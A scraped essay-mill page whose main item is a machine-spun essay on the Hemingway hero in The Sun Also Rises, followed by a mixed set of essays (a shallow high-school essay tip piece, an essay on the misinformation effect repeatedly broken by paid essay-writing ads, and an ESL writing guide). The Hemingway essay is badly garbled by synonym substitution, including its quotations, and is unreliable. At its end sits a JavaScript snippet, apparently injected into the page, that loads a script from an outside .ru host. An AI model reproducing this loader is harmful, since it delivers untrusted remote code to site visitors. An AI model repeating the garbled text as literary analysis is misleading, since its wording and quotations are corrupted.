Hemingways Heroe Essay Research Paper Hemingway free essay sample

Ernest hemingwaies Heroe Essay, Research Paper Hemingway # 8217 ; s word picture of the traditional hero The Hemingway Hero Prevalent among many of Ernest Hemingway # 8217 ; s novels is the construct popularly known as the # 8220 ; Hemingway hero # 8221 ; , an ideal character readily accepted by American readers as a # 8220 ; adult male # 8217 ; s adult male # 8221 ; . In The Sun Besides Rises, four different work forces are compared and contrasted as they engage in some signifier of relationship with Lady Brett Ashley, a near-nymphomaniac Englishwoman who indulges in her passion for sex and control. Brett plans to get married her bride-to-be for superficial grounds, wholly ruins one adult male emotionally and spiritually, offprints from another to continue the thought of their ephemeral matter and to avoid suicide, and denies and shames the lone adult male whom she loves most dearly. All her relationships occur in a period of months, as Brett either accepts or culls certain values or traits of each adult male. Brett, as a dynamic and self-controlled adult female, and her four love involvements help show Hemingway # 8217 ; s standard definition of a adult male and/or maleness. Each adult male Brett has a relationship with in the fresh possesses distinguishable qualities that enable Hemingway to research what it is to genuinely be a adult male. The Hemingway adult male therefore presented is a adult male of action, of self-discipline and autonomy, and of strength and bravery to face all failings, frights, failures, and even decease. Jake Barnes, as the storyteller and supposed hero of the novel, fell in love with Brett some old ages ago and is still strongly and uncontrollably in love with her. However, Jake is unluckily a casualty of the war, holding been emasculated in a freak accident. Still seting to his powerlessness at the beginning of the novel, Jake has lost all power and desire to hold sex. Because of this, Jake and Brett can non be lovers and all efforts at a relationship that is sexually carry throughing are merely ineffectual. Brett is a passionate, lubricious adult female who is driven by the most intimate and loving act two may portion, something that Jake merely can non supply her with. Jake # 8217 ; s emasculation merely puts the two in a grandly dry state of affairs. Brett is an highly passionate adult female but is denied the first adult male she feels true love and esteem for. Jake has loved Brett for old ages and can non hold her because of his inability to hold sex. It is obvious that their love is common when Jake attempts to snog Brett in their cab drive place: # 8220 ; # 8216 ; You mustn # 8217 ; t. You must cognize. I can # 8217 ; t stand it, that # 8217 ; s all. Oh favorite, delight understand! # 8217 ; , # 8216 ; Don # 8217 ; t you love me? # 8217 ; , # 8216 ; Love you? I merely turn all to jelly when you touch me # 8217 ; # 8221 ; ( 26, Ch. 4 ) . This scene is declarative mood of their relationship as Jake and Brett hopelessly desire each other but realize the futility of farther enterprises. Together, they have both tried to withstand world, but failed. Jake is frustrated by Brett # 8217 ; s reappearance into his life and her confession that she is miserably unhappy. Jake asks Brett to travel off with him to the state for spot: # 8220 ; # 8216 ; Couldn # 8217 ; T we go off in the state for a piece? # 8217 ; , # 8216 ; It wouldn # 8217 ; t be any good. I # 8217 ; ll travel if you like. But I couldn # 8217 ; t live softly in the state. Not with my ain true love # 8217 ; , # 8216 ; I know # 8217 ; , # 8216 ; Isn # 8217 ; t it rotten? There isn # 8217 ; t any usage my stating you I love you # 8217 ; , # 8216 ; You know I love you # 8217 ; , # 8216 ; Let # 8217 ; s non speak. Talking # 8217 ; s all bilge # 8217 ; # 8221 ; ( 55, Ch. 7 ) . Brett declines Jake # 8217 ; s pointless effort at being together. Both Brett and Jake know that any relationship beyond a friendly relationship can non be pursued. Jake is still seting to his powerlessness while Brett will non give a sexual relationship for the adult male she loves. Since Jake can neer be Brett # 8217 ; s lover, they are forced to make a new relationship for themselves, possibly one far more unsafe than that of mere lovers # 8211 ; they have become best friends. This nowadayss a great trouble for Jake, because Brett # 8217 ; s presence is both enjoyable and agonising for him. Brett invariably reminds him of his disability and therefore Jake is challenged as a adult male in the deepest, most personal sense possible. After the going of their first meeting, Jake feels suffering: # 8220 ; This was Brett, that I had felt like shouting approximately. Then I thought of her walking up the street and of class in a small while I felt like snake pit once more # 8221 ; ( 34, Ch. 4 ) . Lady Brett Ashley serves as a challenge to a failing Jake must face. Since his war experience, Jake has attempted to reshape the adult male he is and the first measure in making this is to accept his powerlessness. Despite Brett # 8217 ; s undeniable love for Jake, she is engaged to get married another. Mike Campbell is Brett # 8217 ; s bride-to-be, her following planned matrimony after two already failed 1s. Mike is laughably in love with Brett and though she knows this she still decides to marry him. In fact, Brett is merely to get married Mike because she is tired of floating and merely needs an ground tackle. Mike loves Brett but is non dependent on her fondness. Furthermore, he knows approximately and accepts Brett # 8217 ; s brief personal businesss with other work forces: # 8220 ; # 8216 ; Mark you. Brett # 8217 ; s had personal businesss with work forces before. She tells me all about everything # 8217 ; # 8221 ; ( 143, Ch. 13 ) . Mike appreciates Brett # 8217 ; s beauty, as do all the other males in the novel, but possibly this is as deep as his love for her goes. In his first scene in the novel, Mike can non halt commenting and arousing remarks on Brett # 8217 ; s beauty: # 8220 ; # 8216 ; I say Brett, you are a lovely piece. Don # 8217 ; T you believe she # 8217 ; s beautiful? # 8217 ; # 8221 ; ( 79, Ch. 8 ) . He repeatedly proposes similar inquiries but does non do any observant or profound remarks on his wife-to-be. In fact, throughout the entireness of the novel, Mike continues this form, one time mentioning to Brett as # 8220 ; merely a lovely, healthy dame # 8221 ; as his most observant comment. Furthermore, Mike exhibits no self-denial when he becomes intoxicated, doing insensitive statements that demo his deficiency of respect for Brett and others. After Brett shows involvement in Pedro Romero, the toreador, Mike impolitely yells: # 8220 ; Tell him bulls have no balls! Tell him Brett wants to see him put on those green bloomerss. Tell him Brett is deceasing to cognize how he can acquire into those bloomerss! # 8221 ; ( 176, Ch. 16 ) . In add-on, Mike can non contemplate the complexnesss of Brett and her relationships: # 8220 ; # 8216 ; Brett # 8217 ; s got a bull-fighter. She had a Jew named Cohn, but he turned out severely. Brett # 8217 ; s got a bull-fighter. A beautiful, bloody bull-fighter # 8217 ; # 8221 ; ( 206, Ch. 18 ) . Despite Brett # 8217 ; s brief matter with the toreador, she will finally return to Mike who will no uncertainty openly welcome her once more. Brett is a strong adult female, who can command most work forces, and Mike is no exclusion. She mistily simplifies their relationship when she explains to Jake that she plans to return to him: # 8220 ; # 8216 ; He # 8217 ; s so blasted Nice and he # 8217 ; s so atrocious. He # 8217 ; s my kind of thing # 8217 ; # 8221 ; ( 243, Ch. 19 ) . Mike is non complex plenty to dispute Brett, but she does travel on and make up ones mind to accept his simpleness anyways. Furthermore, despite his battle with Brett, Mike betrays Hemingway # 8217 ; s ideal adult male. Although he is autonomous, Mike possesses small self-control or self-respect. Engaged to one adult male and in love with another, Brett demonstrates her neglect for the 1920 # 8217 ; s dual criterions. Very early in the beginning of the novel, she reveals to Jake that she had invited Robert Cohn to travel with her on a trip to San Sebastian. Cohn, a Judaic, middle-aged author disillusioned with his life in Paris, wants to get away to South America where he envisions run intoing the coal black princesses he romanticized from a book. However, he can non carry Jake to attach to him and so wholly forgets about this thought upon run intoing Brett. Cohn is instantly infatuated with her beauty and falls in love with her: # 8220 ; # 8216 ; There # 8217 ; s a certain quality about her, a certain choiceness. She seems to be perfectly all right / gt ; and straight # 8217 ; # 8221 ; ( 38, Ch. 5 ) . Cohn is immature in his idealisation of Brett # 8217 ; s beauty, as he falls in # 8220 ; love at first sight # 8221 ; . Furthermore, like an stripling, he attempts to fulfill his wonder about Brett by inquiring Jake legion inquiries about her. After Cohn and Brett # 8217 ; s ephemeral matter in San Sebastian, Cohn is nervous around Jake: # 8220 ; Cohn had been instead nervous of all time since we had met at Bayone. He did non cognize whether we knew Brett had been with him at San Sebastian, and it made him instead awkward # 8221 ; ( 94, Ch. 10 ) . Furthermore, Cohn is scared that when Brett appears she will embarrass him and so he does non hold the adulthood to act suitably in forepart of Jake and his friend, Bill Gorton. Nonetheless, Cohn is proud of his matter with Brett and believes that this conquering makes him a hero. When Brett appears with her bride-to-be Mike, Cohn still believes that they are destined for an ideal love despite her blazing coldness to him. However, it is evident that Brett merely used Cohn to fulfill her sexual cravings: # 8220 ; # 8216 ; He behaved instead good # 8217 ; # 8221 ; ( 83, Ch. 9 ) . Cohn does non understand the pettiness of their trip to San Sebastian in Brett # 8217 ; s head and has become dependent on her attending and fondness. In his rampant inebriation, Mike blasts Cohn: # 8220 ; # 8216 ; What if Brett did kip with you? She # 8217 ; s slept with tonss of better people than you. State me Robert, . Why do you follow Brett around like a hapless bloody tip? Don # 8217 ; T you cognize you # 8217 ; re non wanted? # 8217 ; # 8221 ; ( 143, Ch. 13 ) . Cohn is like an stripling, as he in vain ignores the truth and continues to love Brett: # 8220 ; He could non halt looking at Brett. It seemed to do him happy. It must hold been pleasant for him to see her looking so lovely, and cognize he had been off with her and that every one knew it. They couldn # 8217 ; Ts take that off from him # 8221 ; ( 146, Ch. 13 ) . Cohn over-exaggerates the significance of his matter with Brett. He does non understand that Brett merely used him and that their brief relationship has no significance to her. Furthermore, Cohn can non carry on himself with self-respect and he intrudes upon people and topographic points where he is evidently non wanted. Naively, Cohn dwells on the fact that he has slept with Brett and obsesses with her. When Brett begins to demo marks of involvement in Pedro Romero, Cohn irrationally attacks Jake demanding to cognize Brett # 8217 ; s whereabouts, clouts him in the jaw, and so calls him a procurer ( 190-91, Ch. 17 ) . Subsequently that dark he encounters Pedro and Brett together in their hotel room. His actions of strike harding Pedro down repeatedly until he finally tires show a divergency from his character. Cohn for the first clip takes some action in what he feels, instead than simply believing about it or kicking about it. However, despite his continuity, Pedro does non stay down harmonizing to Mike: # 8220 ; # 8216 ; The bull-fighter chap was instead good. He didn # 8217 ; Ts say much, but he kept acquiring up and acquiring knocked down once more. Cohn couldn # 8217 ; t strike hard him out # 8217 ; # 8221 ; ( 202, Ch. 17 ) . Finally, Cohn gives up on this chase, is knocked twice by Pedro, and loses his conflict for Brett. These events show that Cohn # 8217 ; s packaging accomplishments, a defence mechanism that he one time used in college, will no longer draw him out of unsmooth state of affairss. Cohn fails to demo the strength and bravery needed to confront the fortunes like a adult male. Pedro Romero, on the other manus, comes closest to the incarnation of Hemingway # 8217 ; s hero. Brett is about instantly enchanted by this handsome, nineteen-year-old, a promising matador. Pedro, a unafraid figure who often confronts decease in his business, is non afraid in the bullring and controls the bulls like a maestro. Pedro is the first adult male since Jake who causes Brett to lose her self-denial: # 8220 ; # 8216 ; I can # 8217 ; t assist it. I # 8217 ; m a toast now, anyhow. Don # 8217 ; t you see the difference? I # 8217 ; ve got to make something. I # 8217 ; ve got to make something I truly want to do. I # 8217 ; ve lost my self-respect # 8221 ; ( 183, Ch. 16 ) . In contrast, Pedro maintains his self-denial in his first brush with Brett: # 8220 ; He felt there was something between them. He must hold felt it when Brett gave him her manus. He was being really careful # 8221 ; ( 185, Ch. 16 ) . Brett falls in love with Pedro as a hero who promises new exhilaration. In the scene between Pedro and Cohn described antecedently, Pedro demonstrates his assurance and strong will. Knock down clip and clip once more, Pedro rises each clip declining to be beaten. His controlled and dignified demeanour in an unusual state of affairs contrast aggressively with Cohn # 8217 ; s fright and failing. Soon Pedro and Brett run off together but when he demands excessively much from her, Brett asks him to go forth. # 8220 ; # 8216 ; He was ashamed of me for a piece, you know. He wanted me to turn my hair out. He said it would do me more womanly. # 8221 ; In add-on, Pedro # 8221 ; truly wanted to get married # 8221 ; Brett because # 8220 ; # 8216 ; he wanted to do it certain [ Brett ] could neer travel off from him # 8217 ; # 8221 ; ( 242, Ch. 19 ) . Pedro will non compromise his outlooks for a adult female and will non suit Brett # 8217 ; s character even though he loves her. In his matter with Brett, he has performed harmonizing to his regulations and when he discovers that his ideals are impossible for Brett to accept, he leaves volitionally. Pedro has been left untainted by Brett, prolonging his strong-minded, right behaviour. Furthermore, Pedro leaves without pouting like Cohn or whining like Mike. Brett # 8217 ; s credence or rejection of peculiar qualities in each of the four work forces she becomes involved with aid specify Hemingway # 8217 ; s male hero. Mike is non dependant on Brett but does non keep his self-respect and self-denial in his drunken wateriness. Cohn is a complaining, weak, suiting stripling who has little apprehension of others or himself. Pedro is the close perfect incarnation of strength, bravery, and assurance. Jake is the lesser version of this flawlessness as the hero of the novel. Hence, Hemingway # 8217 ; s ideal hero is self-controlled, autonomous, and fearless. He is a adult male of action and he does non, under any fortunes, compromise his beliefs or criterions. Jake, as the supposed hero of the novel, is challenged by his emasculation in the deepest sense possible, because the traditional ways in which maleness are defined are insufficient and impossible for him. Jake needs the strength and bravery to face his powerlessness because he has non yet adjusted to this failing. It is dry that Cohn, a character least like the Hemingway adult male, has slept with Brett while Jake will neer be able to carry through this effort. However, because Cohn so inadequately fulfills the functions of a true adult male, Hemingway implies that the sexual conquering of a adult female does non entirely fulfill the definition of maleness. However, Jake fails to carry through other necessities of the Hemingway adult male as he deviates from his ain ethical criterions. Jake sees that Brett is mesmerized by Pedro # 8217 ; s adept control and extraordinary good looks and recognizes the possibility of supplying her animal desires with the most perfect specimen of manhood that he can offer in topographic point of himself. Jake therefore betrays the aficionados of Pamplona and the trust of a long-time friend, Montoya, who fright that this lifting star may be ruined by adult females. Therefore, regardless of his physical powerlessness, Jake # 8217 ; s true failing is the powerlessness of his will and the supposed hero of the novel is flawed due to his failure to adhere to what he believes is right and incorrect. Hemingway therefore refrains from showing a true hero in his novel. With the absence of a taking male ideal, Hemingway betrays the larger socio-cultural premises about work forces and maleness and inquiries the conventional agencies in which they are defined in his society. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

What You Dont Know About Buy a Custom Research Paper

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How to Choose Effective Business Related Persuasive Speech Topics

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Research Paper Topics for Business Administration Features

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How to Write a Paragraph Essay in the First Year of High School

How to Write a Paragraph Essay in the First Year of High SchoolThe ability to write a paragraph essay sample in a student's first year of high school can be quite difficult for some students. It is one of the hardest subjects to master and if you don't get your first year essays right, your chances of getting into Princeton, Harvard or Stanford will be very slim.A lot of high school students are scared to take the test and there are not a lot of good essay writing practice books out there for them to learn from. The quality of high school essay sample in the first year is crucial to a student's success in the first two years. It can give him or her a jumpstart on getting ready for the SAT or ACT and help him or her to focus on these tests.So, how do you start to learn how to write a paragraph essay in the first year of high school? There are several ways to approach this, but you'll want to start by looking at the higher-level high school essay sample in the high school English liter ature textbooks. The more successful teachers may have only the top authors in their first year exams, but you may find that many of the lesser known authors are doing well, which will give you an idea of what you should be working on in your own first year.One thing that you should remember as a high school student is that it is really important to improve all of your skills, especially when it comes to writing. Even if you are a pretty good writer, if you think that you are doing well with one aspect of it, then you could be doing poorly with another. It is one of the best ways for you to find out which areas of writing are your strongest.Another way to write a paragraph essay in the first year of high school is to look at how past students write a paragraph. Make sure that your vocabulary, grammar and sentence structure are similar to what they are using in the class. You may find that you are already ahead of where most of your classmates are, but sometimes these things will sne ak up on you won't even know.A great way to see if you are doing well with each part of your writing is to check your grades over the whole semester. A lot of students would rather skip their first year essays and just go straight to the next year of high school, but if you look at the entire semester, then you can see if you are actually improving. If you notice that you are getting better grades, then you know that you are definitely getting a jumpstart on the other students.Another way to write a paragraph essay in the first year of high school is to make sure that you spend a lot of time practicing your writing. Don't worry too much about your grammar and punctuation and just write whatever comes to mind. This should help you get a jumpstart on your essay in the first semester.The last tip for writing a paragraph essay in the first year of high school is to work on making your essay as interesting as possible. If you can make a simple subject or idea a little more complicated, t hen you'll have a much better chance of pulling an average grade.

The Misinformation Effect Essay Example

The Misinformation Effect Paper The misinformation effect is a memory bias that occurs when misinformation influences peoples reports of their own memory; this reveals the pliability of memory. There is a general acceptance, supported by research, for the misinformation effect: The introduction of misleading post event information will impair the memory of an original event (Toland, Hoffman Loftus, 1991). In exploring the factors that enhance susceptibility to misinformation, it was discovered that allowing time to pass after the event, so that the original memory can fade, makes a person particularly vulnerable to suggestion ( Loftus, Miller, Burns, 1978 ). People are particularly prone to misinformation when the passage of time allows the original memory to fade. This finding leads to the discrepancy detection principle, which states that recollections are more likely to change if a person does not immediately detect discrepancies between post event information and memory for the original event. The Human memory process involves acquisition, retention and retrieval. During the acquisition stage event variables [like exposure time, frequency, detail salience, violence of the event] and witness variables [like stress, expectancies, and perceptual activity] affect the witness’s ability to perceive an event. There have also been studies that show how an individual’s personality could affect the occurrence of false memory or misinformation. Porter, Birt, Yuille, and Lehman (2000) found that subjects scoring low on extraversion were more susceptible to creating false childhood memories. Liebman et al. We will write a custom essay sample on The Misinformation Effect specifically for you for only $16.38 $13.9/page Order now We will write a custom essay sample on The Misinformation Effect specifically for you FOR ONLY $16.38 $13.9/page Hire Writer We will write a custom essay sample on The Misinformation Effect specifically for you FOR ONLY $16.38 $13.9/page Hire Writer (2002) found that false memory from misinformation/suggestibility was positively associated with three subscales of the NEO Personality Inventory; values of the Openness dimension, and modesty and altruism of the Agreeableness dimension. Two systems which have been presented to elucidate the misinformation effect are: the alteration hypothesis and the coexistence hypothesis (Toland et al. , 1991). Both theories concur that the presentation of misinformation interferes with the original memory, creating the incorrect accounts of events. The Alteration Hypothesis This hypothesis takes the view that the misleading information really changes the original memory traces. Support for this hypothesis comes from the inability to recover original memories after being presented with misleading post event information. Not only is it possible to change details of memories for previously experienced events, but one can sometimes also plant entirely false memories into the minds of unsuspecting individuals, even if the events would be highly implausible or even impossible. False memories might differ statistically from true ones, in terms of certain characteristics such as confidence or vividness, but some false memories are held with a great degree of confidence and expressed with much emotion (Loftus, 2004). The misleading information destroys and substitutes the original information. This makes the suggested information become an element of the original event memory. The Coexistence Hypothesis This hypothesis proposes that the original and suggested information coexist in memory The original information is still stored but has become inaccessible. Support for this hypothesis comes from successful attempts to recover the original information after exposure to misinformation have presumably altered that information in memory (Toland et al. , 1991). References: Liebman, J. I. et al. (2002). Cognitive and psychosocial correlates of adults’ eyewitness accuracy and suggestibility. Personality and Individual Differences, 33, 49–66. Loftus, Elizabeth F. (2004), Memories of Things Unseen Current Directions in Psychological Science. Volume 13 Issue 4, Pages 145 – 147. University of California, Irvine. Loftus, E. F. , Miller, D. G. Burns, H. J. (1978). Semantic integration of verbal information into a visual memory. Human Learning and Memory, 4, 19-31. Porter, S. , Birt, A. R. , Yuille, J. C. , Lehman, D. (2000). Negotiating of false memories: Interviewer and remember characteristics relate to memory distortion. Psychological Science, 11, 513–516. Toland, K. , Hoffman, H. , Loftus, E. F. (1991). How suggestion plays tricks with memory. In J. F. Schumaker (Ed. ), Human suggestibility. Advances in theory, research, and application (pp. 235-252). New York: Routledge.

EFL Instructors

Writing Skills Teaching Guide for ESL/EFL Instructors Writing competence in a foreign language tends to be one of the most difficult skills to acquire. This is true for English as well. The key to successful writing classes is that they are pragmatic in nature targeting the skills required or desired by students. Students need to be personally involved in order to make the learning experience of lasting value. Encouraging student participation in the exercise, while at the same time refining and expanding writing skills, requires a certain pragmatic approach. The teacher should be clear on what skills he/she is trying to develop. Next, the teacher needs to decide on which means (or type of exercise) can facilitate learning of the target area. Once the target skill areas and means of implementation are defined, the teacher can then proceed to focus on what topic can be employed to ensure student participation. By pragmatically combing these objectives, the teacher can expect both enthusiasm and effective learning. Overall Game Plan Choose writing objectiveFind a writing exercise that helps to focus on the specific objectiveIf possible, tie the subject matter to student needsProvide feedback through correction activities that call on students to correct their own mistakesHave students revise work Choose Your Target Well Choosing the target area depends on many factors; What level are the students?, What is the average age of the students, Why are the students learning English, Are there any specific future intentions for the writing (i.e school tests, job application letters, etc.). Other important questions to ask oneself are: What should the students be able to produce at the end of this exercise? (a well-written letter, basic communication of ideas, etc.) What is the focus of the exercise? (structure, tense usage, creative writing). Once these factors are clear in the mind of the teacher, the teacher can begin to focus on how to involve the students in the activity thus promoting a positive, long-term learning experience. Things to Remember What will students be able to do after the exercise?Keep the focus on one area of English writing skills Having decided on the target area, the teacher can focus on the means to achieve this type of learning. As in correction, the teacher must choose the most appropriate manner for the specified writing area. If formal business letter English is required, it is of little use to employ a free expression type of exercise. Likewise, when working on descriptive language writing skills, a formal letter is equally out of place. Keeping Students Involved With both the target area and means of production, clear in the teachers mind, the teacher can begin to consider how to involve the students by considering what type of activities are interesting to the students; Are they preparing for something specific such as a holiday or test?, Will they need any of the skills pragmatically? What has been effective in the past? A good way to approach this is by class feedback or brainstorming sessions. By choosing a topic that involves the students the teacher is providing a context within which effective learning on the target area can be undertaken. Correction The question of which type of correction will facilitate a useful writing exercise is of utmost importance. Here the teacher needs to once again think about the overall target area of the exercise. If there is an immediate task at hand, such as taking a test, perhaps a teacher-guided correction is the most effective solution. If the task is more general (for example, developing informal letter writing skills), maybe the best approach would be to have the students work in groups thereby learning from each other. Most importantly, by choosing the correct means of correction the teacher can encourage rather discourage students.